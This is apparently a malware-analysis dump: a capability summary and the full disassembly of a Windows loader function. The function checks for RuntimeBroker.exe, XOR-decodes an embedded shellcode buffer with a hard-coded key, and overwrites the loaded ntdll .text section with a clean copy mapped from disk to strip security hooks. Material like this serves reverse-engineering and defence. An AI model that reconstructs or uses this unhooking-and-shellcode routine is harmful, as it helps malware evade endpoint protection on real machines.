Function at 0x14000157a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x6d0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x670], ecx
mov qword [rbp + 0x678], rdx
call dbg.__main
lea rax, str.RuntimeBroker.exe
mov rcx, rax
call sym.AppisRunning_char_
test eax, eax
sete al
test al, al
jne 0x1400019cf
call sym.greenCardHuseyin__
test eax, eax
sete al
test al, al
je 0x1400015d2
mov eax, 0xfffffffe
jmp 0x1400019d4
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp + 0x638], rax
pxor xmm0, xmm0
movups xmmword [rbp + 0x5d0], xmm0
movq qword [rbp + 0x5e0], xmm0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x630], rax
lea rax, [rbp - 0x40]
lea rdx, [0x1400b7040]
mov ecx, 0x5d
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0x4b534f5241727961
movabs rdx, 0x4744755a6752534f
mov qword [rbp + 0x5b0], rax
mov qword [rbp + 0x5b8], rdx
mov dword [rbp + 0x5c0], 0x4b6c62
mov dword [rbp + 0x64c], 0
lea rcx, [rbp + 0x5d0]
mov rdx, qword [rbp + 0x630]
mov rax, qword [rbp + 0x638]
mov r9d, 0x18
mov r8, rcx
mov rcx, rax
call sym.K32GetModuleInformation
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x628], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x608]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x628]
add rax, rdx
mov qword [rbp + 0x600], rax
mov dword [rbp + 0x648], 0
jmp 0x1400017f4
cmp dword [rbp + 0x64c], 0x13
jne 0x1400017b6
mov dword [rbp + 0x64c], 0
mov eax, dword [rbp + 0x648]
cdqe
movzx eax, byte [rbp + rax - 0x40]
mov edx, eax
mov eax, dword [rbp + 0x64c]
cdqe
movzx eax, byte [rbp + rax + 0x5b0]
xor edx, eax
mov eax, dword [rbp + 0x648]
cdqe
mov byte [rbp + rax + 0x2b0], dl
add dword [rbp + 0x64c], 1
add dword [rbp + 0x648], 1
mov eax, dword [rbp + 0x648]
cdqe
cmp rax, 0x2ee
jbe 0x1400017a3
mov word [rbp + 0x646], 0
jmp 0x140001964
mov rax, qword [rbp + 0x600]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x600]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x646]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x5f8]
lea rdx, str..text
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001953
mov dword [rbp + 0x5ac], 0
mov rax, qword [rbp + 0x5f8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x5f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x628]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5ac]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
setne al
mov byte [rbp + 0x5f7], al
mov rax, qword [rbp + 0x5f8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x5f8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x610]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x5f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x628]
add rax, rcx
mov rcx, rax
call sym.memcpy
mov edx, dword [rbp + 0x5ac]
mov rax, qword [rbp + 0x5f8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x5f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x628]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5ac]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
setne al
mov byte [rbp + 0x5f7], al
movzx eax, word [rbp + 0x646]
add eax, 1
mov word [rbp + 0x646], ax
mov rax, qword [rbp + 0x600]
movzx eax, word [rax + 6]
cmp word [rbp + 0x646], ax
jb 0x140001812
mov rax, qword [rbp + 0x638]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x620]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x618]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x630]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov eax, 0
jmp 0x1400019d4
mov eax, 0
add rsp, 0x6d0
pop rsi
pop rdi
pop rbp
ret